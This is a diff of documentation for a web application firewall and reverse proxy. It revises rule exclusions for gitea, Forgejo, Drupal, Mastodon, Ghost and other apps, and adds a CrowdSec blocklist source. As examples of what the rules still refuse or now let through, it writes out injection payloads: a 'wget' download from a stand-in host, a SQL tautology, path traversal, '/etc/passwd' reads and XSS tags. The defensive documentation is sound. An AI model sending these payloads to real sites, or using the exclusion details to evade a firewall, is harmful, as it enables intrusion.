3. The `redirect_uri` parameter is not checked for a URL naming an IP address or 3. The `redirect_uri` parameter is not checked for a URL naming an IP address or
`localhost` (931100, 934110). Git Credential Manager, git-credential-oauth `localhost` (931100, 934110). Git Credential Manager, git-credential-oauth
and tea, which gitea registers for OAuth sign-in, ask to be sent back to and tea, which gitea registers for OAuth sign-in, ask to be sent back to
@@ -807,7 +812,7 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- `artifactName` and `redirect_to`. - `artifactName` and `redirect_to`.
They skip these rules in the query, and in a form data or multipart body They skip these rules in the query, and in a form data or multipart body
while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
gitea puts into them file paths, branch and workflow names, and the page to gitea puts into them file paths, branch and workflow names, and the page to
return to after signing in. It reads these values as names in a repository return to after signing in. It reads these values as names in a repository
@@ -874,13 +879,11 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
which refused `org.apache.commons.logging`. which refused `org.apache.commons.logging`.
A branch, tag or package name can hold a slash, as `feat/docker-support` A branch, tag or package name can hold a slash, as `feat/docker-support`
does. So `q` skips the rule for shell paths (932160) too on these does. So `q` skips the rule for shell paths (932160) too on these pages,
searches, where it refused `/bin/sh`: where it refused `/bin/sh`:
- a repository's branches, tags and packages pages; - a repository's branches, tags and packages pages;
- an owner's packages page; - an owner's packages page;
- the admin page of packages; - the admin page of packages.
- the API's search of packages;
- the searches of the Composer and Conan registries.
- `q` on gitea's other searches, for the same four rules. Words such as - `q` on gitea's other searches, for the same four rules. Words such as
`python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The `python3`, `powershell`, `ls -la` and `.htaccess` were refused there. The
@@ -895,46 +898,12 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
- the runner lists of the site, a user, an organisation and a - the runner lists of the site, a user, an organisation and a
repository; repository;
- the admin lists of users, organisations, repositories, unadopted - the admin lists of users, organisations, repositories, unadopted
repositories and emails; repositories and emails.
- the API's searches of topics, of an organisation's teams and of
emails;
- the searches of the Cargo, Chef, Composer and Conan registries, and
the NuGet registry's search service.
Most send `q` in the query string. The admin forms that adopt a Most send `q` in the query string. The admin forms that adopt a
repository or activate an email send it in the body. gitea serves its repository or activate an email send it in the body. gitea serves its
admin pages under `/-/admin/` and Forgejo under `/admin/`. admin pages under `/-/admin/` and Forgejo under `/admin/`.
- Two fields of the API's searches other than `q`, for the same four rules:
- `query` of the search of unadopted repositories, which holds an owner
and a name, such as `alice/python3-app`;
- `name` of the search of a repository's milestones.
- Fields of the package registries' searches:
- `text` of the npm registry's search, for the same four rules and the
rule for shell paths (932160). An npm name can hold a slash, as
`@alice/tools-cli` does.
- `searchTerm` of the NuGet v2 API's searches, for the same four rules.
These are the searches:
- `Search()` and `Packages()`;
- `Search()/$count` and `Packages()/$count`, which count their
results.
- `$filter` of those searches, for the lists of system files and Windows
commands (930120, 932120). It holds an expression such as
`tolower(Id) eq 'python3'`.
- The names `$filter`, `$orderby` and `$top` on those searches, for the
rule for MongoDB operators (942290). It refused every such search.
- `q` of a Conan search, for the rule for SQL injection (942100), which
refused the pattern `zlib/*`. `q` skips it only when the request has
one `q`, in the query string or the body. That `q` has the shape of a
Conan reference. A reference is a name, then optionally `/` and a
version, then optionally `@` and a user, then optionally `/` and a
channel. Each part is made of letters, digits, `_`, `.`, `-` and `*`.
A part holds no `+`, since 942100 reads `+` as a space. `q` also holds
no `*/`, which ends an SQL comment, and no `--`, which starts one. And
942100 finds no SQL injection in `q` once each comment that `/*`
starts, an unclosed one included, is replaced by a space.
- The path of these requests, which names a file: - The path of these requests, which names a file:
- a file's page; - a file's page;
- its raw file; - its raw file;
@@ -1002,8 +971,8 @@ one entry of `apps` in `internal/coreruleset/coreruleset.go`. gitea's fixes are:
and `fix-powershell-module` were refused. and `fix-powershell-module` were refused.
`; wget http://example.com/x.sh` and path traversal are still refused in `; wget http://example.com/x.sh` and path traversal are still refused in
these fields. These exclusions matter only while these fields. These exclusions matter only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. None applies when the query
the query has a parameter of the same name. has a parameter of the same name.
- `id` of the forms that adopt or delete an unadopted repository, for the - `id` of the forms that adopt or delete an unadopted repository, for the
rules that refused repository names (930120, 932120, 932160, 932260). `id` rules that refused repository names (930120, 932120, 932160, 932260). `id`
@@ -1097,8 +1066,7 @@ The fields are:
the lists of system files, shell paths, command names and JavaScript names the lists of system files, shell paths, command names and JavaScript names
(930120, 932120, 932160, 932260, 941180). (930120, 932120, 932160, 932260, 941180).
- These fields of a body. Each applies only when the query has no parameter of - These fields of a body. Each applies only when the query has no parameter of
that name, so it matters only while that name, so it matters only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set:
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set:
- `content` of a post, a page, a template or a template part saved through - `content` of a post, a page, a template or a template part saved through
the REST API. It holds HTML and any code it shows. the REST API. It holds HTML and any code it shows.
- `content` of a reply to a comment sent to `admin-ajax.php`. - `content` of a reply to a comment sent to `admin-ajax.php`.
@@ -1225,8 +1193,8 @@ These fields of a body skip the rules that refused them:
for the same four rules. for the same four rules.
- `mail` on those forms, for 930120, 932120 and 932260 only. - `mail` on those forms, for 930120, 932120 and 932260 only.
These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` These exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
is set. None applies when the query has a parameter of the same name. None applies when the query has a parameter of the same name.
Elsewhere these fields keep every rule. The paths are those of Drupal at the Elsewhere these fields keep every rule. The paths are those of Drupal at the
site root, with or without a language prefix such as `/fr`. Such a prefix is any site root, with or without a language prefix such as `/fr`. Such a prefix is any
@@ -1326,9 +1294,8 @@ These fields of a body skip the rules that refused them:
have a namespace, such as `Special:`. The title follows `/index.php/` or have a namespace, such as `Special:`. The title follows `/index.php/` or
`/wiki/` in the path, or is the `title` of `/index.php`. `/wiki/` in the path, or is the `title` of `/index.php`.
These body exclusions matter only while These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query set. None applies when the query has a parameter of the same name.
has a parameter of the same name.
The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`, The names of uploaded files skip 932180 on MediaWiki's pages and on `/api.php`,
so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a so a picture named `Notes on .htaccess.png` can be uploaded. MediaWiki refuses a
@@ -1481,9 +1448,8 @@ items.
`<img src=x onerror=x()>` sent as a password reach Mastodon; `<img src=x onerror=x()>` sent as a password reach Mastodon;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused. `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query set. None applies when the query has a parameter of the same name.
has a parameter of the same name.
The names of uploaded files skip 932180 on these paths: The names of uploaded files skip 932180 on these paths:
@@ -1548,9 +1514,8 @@ The addresses skip them on these paths too:
- `/api/auth-requests` and the paths under it, for signing in with another - `/api/auth-requests` and the paths under it, for signing in with another
device. device.
These body exclusions matter only while These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query set. None applies when the query has a parameter of the same name.
has a parameter of the same name.
`username` in the query of `/api/hibp/breach`, the data breach report, skips `username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too. 930120, 932120 and 932260 too.
@@ -1723,11 +1688,10 @@ A CalDAV or CardDAV client finds these paths with a `PROPFIND` on
`/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those `/.well-known/caldav` or `/.well-known/carddav`. That method is allowed on those
two paths. two paths.
These body exclusions matter only while These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies to a JSON set. None applies to a JSON field when the query has a parameter of that name,
field when the query has a parameter of that name, such as `json.message`. such as `json.message`. Nextcloud's pages are matched at the site root and under
Nextcloud's pages are matched at the site root and under `/index.php/`. `/index.php/`. Elsewhere these fields keep every rule.
Elsewhere these fields keep every rule.
Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo` Forgejo's fixes: Forgejo is a fork of gitea, so a hostname listing `forgejo`
gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and gets gitea's fixes too. Forgejo's own fixes hold only what Forgejo sends and
@@ -1774,7 +1738,7 @@ Forgejo renames a branch at `/<owner>/<repo>/settings/rename_branch`, where
gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from` gitea uses `/<owner>/<repo>/branches/rename`. There, as on gitea's path, `from`
and `to` skip the lists of Windows commands and command names (932120, 932260), and `to` skip the lists of Windows commands and command names (932120, 932260),
which refused `fix-powershell-module` and `feat/docker-support`. This matters which refused `fix-powershell-module` and `feat/docker-support`. This matters
only while `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set.
The Core Rule Set reads the request without the `flash` cookie, in which Forgejo The Core Rule Set reads the request without the `flash` cookie, in which Forgejo
puts what gitea puts in `gitea_flash` (gitea's second fix). puts what gitea puts in `gitea_flash` (gitea's second fix).
@@ -1927,10 +1891,9 @@ resetting or changing a password. `' OR '1'='1`, `../../etc/passwd`,
`; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as a password reach
Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. Ghost; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused.
These body exclusions matter only while These body exclusions matter only while `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. None applies when the query set. None applies when the query has a parameter of the same name. Elsewhere
has a parameter of the same name. Elsewhere these fields keep every rule. The these fields keep every rule. The paths are those of Ghost at the site root.
paths are those of Ghost at the site root.
Each app's fixes switch rules off for some of its fields and cookies. Any other Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies app on a hostname that gets those fixes must check those fields and cookies
@@ -1951,11 +1914,12 @@ to the surrounding netblock. The four ban lengths are under "Bans".
### Reputation ### Reputation
No source is on by default. A source acts on a list kept elsewhere; the defaults No source is on by default. A source acts on a list kept elsewhere; the defaults
judge a client only by what it does here. AbuseIPDB also needs an account of the judge a client only by what it does here. AbuseIPDB and CrowdSec also need an
operator's own. The list best suited to be on by default, Spamhaus DROP, has account or an engine of the operator's own. The list best suited to be on by
terms, below, that forbid frequent fetching, and Spamhaus may block an address default, Spamhaus DROP, has terms, below, that forbid frequent fetching, and
that breaks them. Each `waf` fetches its own copy, so several of them on one Spamhaus may block an address that breaks them. Each `waf` fetches its own copy,
host, sharing one address, would often fetch too close together. so several of them on one host, sharing one address, would often fetch too close
together.
- Blocklists (`SWW_WAF_BLOCKLIST_URLS`) are text files of addresses and - Blocklists (`SWW_WAF_BLOCKLIST_URLS`) are text files of addresses and
netblocks, one to a line, as the Spamhaus DROP list is written. Anything after netblocks, one to a line, as the Spamhaus DROP list is written. Anything after
@@ -1988,6 +1952,18 @@ host, sharing one address, would often fetch too close together.
percentage of every request and byte limit, and suits a list of addresses percentage of every request and byte limit, and suits a list of addresses
shared with ordinary visitors, such as Tor exits. `log` only notes the hit in shared with ordinary visitors, such as Tor exits. `log` only notes the hit in
the log line and raises an alert. the log line and raises an alert.
- A CrowdSec engine on the host (`SWW_WAF_CROWDSEC_LAPI_URL`) has its decision
list fetched every minute, with `SWW_WAF_CROWDSEC_LAPI_KEY` in the `X-Api-Key`
header. The list is kept like a fetched blocklist, and a client on it is
banned (see "Bans"). Only decisions of the type `ban` on an address or a
netblock are used; any other, such as a captcha or a country, is left out. A
decision lasts for the `duration` it had left when the engine answered. This
is how a fleet-wide blocklist can arrive without `waf` depending on CrowdSec.
A fetch fails when:
- the engine answers other than `200`, a redirect included;
- the fetch does not finish within a minute;
- the answer is longer than 16 MiB;
- the answer is not a list of decisions.
- Each DNS blocklist (`SWW_WAF_DNSBL_ZONES`) is asked about a client's own - Each DNS blocklist (`SWW_WAF_DNSBL_ZONES`) is asked about a client's own
address in the background, the first time the client is seen. No request waits address in the background, the first time the client is seen. No request waits
for the answer. The name asked about is the one RFC 5782 gives: the numbers of for the answer. The name asked about is the one RFC 5782 gives: the numbers of
@@ -1999,7 +1975,7 @@ host, sharing one address, would often fetch too close together.
- an answer in `127.255.255.0/24`; - an answer in `127.255.255.0/24`;
- an answer outside `127.0.0.0/8`; - an answer outside `127.0.0.0/8`;
- a resolver error; - a resolver error;
- no answer within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. - no answer within `SWW_WAF_REPUTATION_TIMEOUT`.
DNS blocklists made for mail servers list residential ranges, and would DNS blocklists made for mail servers list residential ranges, and would
block ordinary visitors, so they should not be used. Spamhaus zones need block ordinary visitors, so they should not be used. Spamhaus zones need
@@ -2024,13 +2000,13 @@ host, sharing one address, would often fetch too close together.
after which no client is checked for a minute, when: after which no client is checked for a minute, when:
- AbuseIPDB answers other than `200`; - AbuseIPDB answers other than `200`;
- the answer gives no score; - the answer gives no score;
- no answer comes within `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS`. - no answer comes within `SWW_WAF_REPUTATION_TIMEOUT`.
- `SWW_WAF_DNSBL_ABUSEIPDB_ACTION`, for DNS blocklist and AbuseIPDB hits, is - `SWW_WAF_REPUTATION_ACTION`, for DNS blocklist and AbuseIPDB hits, is
`limit:25` by default. Such verdicts are less certain than a blocklist, so a `limit:25` by default. Such verdicts are less certain than a blocklist, so a
listed client gets a quarter of every request and byte limit rather than a listed client gets a quarter of every request and byte limit rather than a
refusal. refusal.
- Verdicts and scores are kept for `SWW_WAF_IP_REPUTATION_CACHE_TTL`, in memory - Verdicts and scores are kept for `SWW_WAF_REPUTATION_CACHE_TTL`, in memory and
and in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over in `dnsbl.json` and `abuseipdb-scores.json`. A source that is down or over
quota gives no verdict. The service continues. Each failure raises a quota gives no verdict. The service continues. Each failure raises a
`source_failure` alert (see "Alerting"). `source_failure` alert (see "Alerting").
@@ -2067,13 +2043,13 @@ which the metrics show. They reveal a widely distributed scraper, thousands of
addresses at low rates each, which the per-client limits do not see. A low addresses at low rates each, which the per-client limits do not see. A low
percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response. percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
- Requests and body bytes, as `SWW_WAF_BYTES_COUNTED` counts them, are counted - Requests and body bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted per
per minute and per hour, for each of: minute and per hour, for each of:
- a client; - a client;
- the surrounding netblock; - the surrounding netblock;
- an AS number; - an AS number;
- the whole service; - the whole service;
- a named netblock in `SWW_WAF_ANOMALY_WATCHED_NETS`. - a named netblock in `SWW_WAF_WATCH_NETS`.
- Every request `waf` answers with `allow`, `deny` or `close` is counted, an - Every request `waf` answers with `allow`, `deny` or `close` is counted, an
allowed one when its report comes. That holds whatever was done with it, and allowed one when its report comes. That holds whatever was done with it, and
for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`, for clients in `SWW_WAF_ALLOW_NETS` and `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`,
@@ -2082,9 +2058,9 @@ percentage for its `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` is the response.
## Rule files ## Rule files
`waf` reads every `*.rules` file in `SWW_WAF_RULE_FILES_DIR` and checks each `waf` reads every `*.rules` file in `SWW_WAF_RULES_DIR` and checks each request
request against them. `docs/rules.md` gives the format, the targets and actions, against them. `docs/rules.md` gives the format, the targets and actions, and the
and the default file. default file.
- The files are plain text meant to be edited by hand, so that a new scanning - The files are plain text meant to be edited by hand, so that a new scanning
pattern seen in the request log becomes a rule in one line. `waf` watches the pattern seen in the request log becomes a rule in one line. `waf` watches the
@@ -2113,9 +2089,9 @@ and the default file.
- a regex that does not compile; - a regex that does not compile;
- a duplicate id. - a duplicate id.
So does a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read. So does a `SWW_WAF_RULES_DIR` that does not exist or cannot be read. While
While running, the same faults leave the rules as they were, and the log and running, the same faults leave the rules as they were, and the log and one
one `file_error` alert name the file and line. Once the file is fixed, it is `file_error` alert name the file and line. Once the file is fixed, it is
read again. An empty directory is not an error: the log says that no rules read again. An empty directory is not an error: the log says that no rules
were loaded. were loaded.
@@ -2125,13 +2101,13 @@ and the default file.
`/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that `/<owner>/<repo>/src/branch/main/.env.example` is a file in a repository that
any visitor may open. Anchor the paths of your own `ban` rules at the site any visitor may open. Anchor the paths of your own `ban` rules at the site
root too. A rule has one target, so a `path` rule applies on every site behind root too. A rule has one target, so a `path` rule applies on every site behind
that `waf`. A directory mounted over `SWW_WAF_RULE_FILES_DIR` replaces the that `waf`. A directory mounted over `SWW_WAF_RULES_DIR` replaces the default
default file; single files mounted into it add to it. file; single files mounted into it add to it.
- Rules meant to be edited while `waf` runs belong in a mounted directory, not a - Rules meant to be edited while `waf` runs belong in a mounted directory, not a
mounted file. Many editors save a file by replacing it, and a container keeps mounted file. Many editors save a file by replacing it, and a container keeps
seeing the old one when the file alone is mounted. The lookup database is seeing the old one when the file alone is mounted. The lookup database is
mounted the same way, for the same reason. To run without rule files, mount an mounted the same way, for the same reason. To run without rule files, mount an
empty directory or set `SWW_WAF_RULE_FILES_ENABLED=false`. empty directory or set `SWW_WAF_RULES_ENABLED=false`.
## Persistent state ## Persistent state
@@ -2218,8 +2194,8 @@ lists the files, what each holds, and their sizes.
in the metrics and sent as one `file_error` alert per cooldown, and retried at in the metrics and sent as one `file_error` alert per cooldown, and retried at
the next write. the next write.
- A hard kill loses the changes since the last write: ban changes from the last - A hard kill loses the changes since the last write: ban changes from the last
`SWW_WAF_BANS_WRITE_DELAY`, everything else from the last `SWW_WAF_STATE_WRITE_DELAY`, everything else from the last
`SWW_WAF_STATE_WRITE_INTERVAL`. Losing the volume loses ban history, not `SWW_WAF_STATE_COUNTER_INTERVAL`. Losing the volume loses ban history, not
service. service.
## Request log ## Request log
@@ -2245,11 +2221,10 @@ lines to stdout only.
severity informational, the time, the host's name and the app name from severity informational, the time, the host's name and the app name from
`SWW_WAF_LOG_REMOTE_APP_NAME`. `SWW_WAF_LOG_REMOTE_APP_NAME`.
- Sending happens on its own goroutine from a buffer of - Sending happens on its own goroutine from a buffer of
`SWW_WAF_LOG_REMOTE_BUFFER_LINES` lines, so a server that is slow or down `SWW_WAF_LOG_REMOTE_BUFFER` lines, so a server that is slow or down never
never holds up a request and never stops stdout. When the buffer is full, the holds up a request and never stops stdout. When the buffer is full, the oldest
oldest line is dropped and counted in the metrics. A failed connection is line is dropped and counted in the metrics. A failed connection is tried again
tried again a second later, and twice as long after each further failure, up a second later, and twice as long after each further failure, up to a minute.
to a minute.
- As `waf` stops, it spends at most two seconds sending the lines still waiting, - As `waf` stops, it spends at most two seconds sending the lines still waiting,
and drops the rest; stdout has carried them. and drops the rest; stdout has carried them.
@@ -2396,48 +2371,46 @@ In `observe` mode a request that `enforce` mode would refuse is answered
answered `404`. answered `404`.
The Core Rule Set inspects the body a question carries only while The Core Rule Set inspects the body a question carries only while
`SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` is set. It inspects at most 64 KiB `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. It inspects at most 64 KiB less one
less one byte. So it does not inspect a JSON or XML body of 64 KiB or more, byte. So it does not inspect a JSON or XML body of 64 KiB or more, which may
which may have been cut short. have been cut short.
### Answering in time ### Answering in time
`rproxy` stops waiting for `waf` after `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, by `rproxy` stops waiting for `waf` after `SWW_RPROXY_TIMEOUT_MS`, by default 2
default 2 seconds, and `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` then seconds, and `SWW_RPROXY_DEFAULT_DISPOSITION` then decides. The longest a
decides. The longest a question waits on an outside source is question waits on an outside source is `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds, well milliseconds, well within that time.
within that time.
GeoJS is the only outside source a question can wait on. A question waits only GeoJS is the only outside source a question can wait on. A question waits only
when step 6 says so, and for at most when step 6 says so, and for at most `SWW_WAF_LOOKUP_TIMEOUT`, by default 800
`SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS`, by default 800 milliseconds. A milliseconds. A client without an answer by then counts as unknown. No question
client without an answer by then counts as unknown. No question waits on these, waits on these, which run in the background:
which run in the background:
- the DNS blocklists and AbuseIPDB; - the DNS blocklists and AbuseIPDB;
- fetching the blocklists, the tag lists and the file - fetching the blocklists, the tag lists, the CrowdSec decision list and the
`SWW_WAF_ASN_LIMIT_PERCENT_URL` names. file `SWW_WAF_ASN_LIMIT_PERCENT_URL` names.
In `enforce` mode, a question does not wait for GeoJS when it is a request: In `enforce` mode, a question does not wait for GeoJS when it is a request:
- from a client on a fetched blocklist, while `SWW_WAF_BLOCKLIST_ACTION` is - from a client on a fetched blocklist, while `SWW_WAF_BLOCKLIST_ACTION` is
`deny`; `deny`;
- from a client on the CrowdSec decision list;
- that would take its client over a rate limit at 100% of it, since a percentage - that would take its client over a rate limit at 100% of it, since a percentage
can only lower a limit. can only lower a limit.
Such a request still goes through the steps in their order. Its client's AS Such a request still goes through the steps in their order. Its client's AS
number and country stay unknown until GeoJS has answered. So while number and country stay unknown until GeoJS has answered. So while
`SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first. `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` is set, that list can refuse it first.
`SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` does not apply to it until then, so not `SWW_WAF_UNKNOWN_LIMIT_PERCENT` does not apply to it until then, so not waiting
waiting never lowers its limit. never lowers its limit.
The header limits, the static lists and bans come before the lookup, so they The header limits, the static lists and bans come before the lookup, so they
never wait. These can still wait for GeoJS: never wait. These can still wait for GeoJS:
- a country list, which needs the answer; - a country list, which needs the answer;
- a rate limit a percentage has lowered, which needs the answer; - a rate limit a percentage has lowered, which needs the answer;
- a DNS blocklist or AbuseIPDB, while `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` is - a DNS blocklist or AbuseIPDB, while `SWW_WAF_REPUTATION_ACTION` is `deny`;
`deny`;
- a trap path; - a trap path;
- a rule file; - a rule file;
- the Core Rule Set. - the Core Rule Set.
@@ -2467,8 +2440,7 @@ other check runs on it.
The Core Rule Set runs each of its rules on each cookie, so thousands of small The Core Rule Set runs each of its rules on each cookie, so thousands of small
cookies would keep it busy for over a second. Within the limits, one long cookie cookies would keep it busy for over a second. Within the limits, one long cookie
or query string can still keep it busy for a fraction of a second. So enough or query string can still keep it busy for a fraction of a second. So enough
such requests at once can overload `waf` past such requests at once can overload `waf` past `SWW_RPROXY_TIMEOUT_MS`.
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`.
### The report ### The report
@@ -2507,7 +2479,7 @@ answer.
For a request it holds, `waf` writes the request's last log line (see "The For a request it holds, `waf` writes the request's last log line (see "The
log"). For a request it allowed, it first: log"). For a request it allowed, it first:
- counts the body bytes `SWW_WAF_BYTES_COUNTED` names, toward the client's byte - counts the body bytes `SWW_WAF_BYTES_COUNT` names, toward the client's byte
limits at the percentages it gave that request; limits at the percentages it gave that request;
- bans a client whose total passes a byte limit; - bans a client whose total passes a byte limit;
- adds the request with its status to the client's history, the anomaly counters - adds the request with its status to the client's history, the anomaly counters
@@ -2574,9 +2546,9 @@ request and ban notes name the site by its host.
`sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each `sww rproxy` is the reverse proxy in front of one app. It asks `waf` about each
request, and passes on what `waf` allows. It keeps nothing between requests and request, and passes on what `waf` allows. It keeps nothing between requests and
writes nothing to disk. When `waf` cannot be connected to, does not answer at writes nothing to disk. When `waf` cannot be connected to, does not answer at
all, or does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, all, or does not answer within `SWW_RPROXY_TIMEOUT_MS`,
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides. Its default, `allow`, `SWW_RPROXY_DEFAULT_DISPOSITION` decides. Its default, `allow`, keeps the site
keeps the site answering. answering.
`rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists. `rproxy` reads only its `SWW_RPROXY_` settings, which `docs/settings.md` lists.
One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no One of them is required: `SWW_RPROXY_WAF_BACKEND`, `waf`'s URL. It has no
@@ -2667,37 +2639,36 @@ log line has status `0`.
### Without an answer from `waf` ### Without an answer from `waf`
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides what is done with the `SWW_RPROXY_DEFAULT_DISPOSITION` decides what is done with the request only when
request only when `waf`: `waf`:
- cannot be connected to; - cannot be connected to;
- does not answer at all; - does not answer at all;
- does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, which covers - does not answer within `SWW_RPROXY_TIMEOUT_MS`, which covers connecting,
connecting, sending the question and reading the whole answer. sending the question and reading the whole answer.
An answer whose body breaks off counts as no answer at all. An answer whose body breaks off counts as no answer at all.
`allow`, the default, passes the request to the app. `deny` answers `503`. `allow`, the default, passes the request to the app. `deny` answers `503`.
Either way `rproxy` writes a process warning, its log line has Either way `rproxy` writes a process warning, its log line has
`waf_backend_no_answer`, and it sends no report. `default_disposition`, and it sends no report.
A visitor can make `waf` slow. A request that keeps `waf` busy past A visitor can make `waf` slow. A request that keeps `waf` busy past
`SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`, like any request while `waf` is overloaded, `SWW_RPROXY_TIMEOUT_MS`, like any request while `waf` is overloaded, gets
gets `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION`. With `deny`, such a request `SWW_RPROXY_DEFAULT_DISPOSITION`. With `deny`, such a request gets `503` instead
gets `503` instead of reaching the app. of reaching the app.
A path under `/_sww/` that `allow` would pass on is answered `404` instead, so A path under `/_sww/` that `allow` would pass on is answered `404` instead, so
that the app never sees that prefix. that the app never sees that prefix.
`rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is `rproxy` cannot pass on an answer whose body is over 1 MiB or whose status is
below `200`. The visitor gets `502` from `rproxy`, whatever below `200`. The visitor gets `502` from `rproxy`, never the default. `rproxy`
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` says. `rproxy` writes a process writes a process warning, its log line has no `disposition`, and it sends no
warning, its log line has no `disposition`, and it sends no report. report.
A visitor that goes away while `waf` is being asked is no failure of `waf`. A visitor that goes away while `waf` is being asked is no failure of `waf`.
`rproxy` closes the connection with no warning and no report, and `rproxy` closes the connection, with no warning, no default and no report. Its
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` does not apply. Its log line has log line has status `0` and no `disposition`.
status `0` and no `disposition`.
### Passing a request to the app ### Passing a request to the app
@@ -2800,8 +2771,8 @@ those at `info` or more severe are written.
On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in On `SIGTERM` or `SIGINT`, `rproxy` stops taking requests and gives those in
progress five seconds to finish. It then waits for the reports on their way, progress five seconds to finish. It then waits for the reports on their way,
each for up to `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. A report that comes due each for up to `SWW_RPROXY_TIMEOUT_MS`. A report that comes due after that is
after that is dropped, such as that of a WebSocket that closes later. dropped, such as that of a WebSocket that closes later.
## Deployment ## Deployment
@@ -2895,14 +2866,13 @@ process that stops at start is started again every second, not in a tight loop.
does not stop. Beside an app, the other process keeps running. does not stop. Beside an app, the other process keeps running.
- While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy` - While `rproxy` is down, traefik answers `502`. While the app is down, `rproxy`
answers `502`, which is not a client offence. While `waf` is down, answers `502`, which is not a client offence. While `waf` is down,
`SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` decides (see "Without an answer `SWW_RPROXY_DEFAULT_DISPOSITION` decides (see "Without an answer from `waf`").
from `waf`").
- Only faults found at start stop `waf`: - Only faults found at start stop `waf`:
- invalid configuration; - invalid configuration;
- a lookup database that is missing or unreadable; - a lookup database that is missing or unreadable;
- a rule file or state file that does not parse; - a rule file or state file that does not parse;
- an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`; - an unwritable `SWW_WAF_STATE_DIR` or `SWW_WAF_CACHE_DIR`;
- a `SWW_WAF_RULE_FILES_DIR` that does not exist or cannot be read; - a `SWW_WAF_RULES_DIR` that does not exist or cannot be read;
- a `SWW_WAF_LISTEN_ADDR` it cannot listen on. - a `SWW_WAF_LISTEN_ADDR` it cannot listen on.
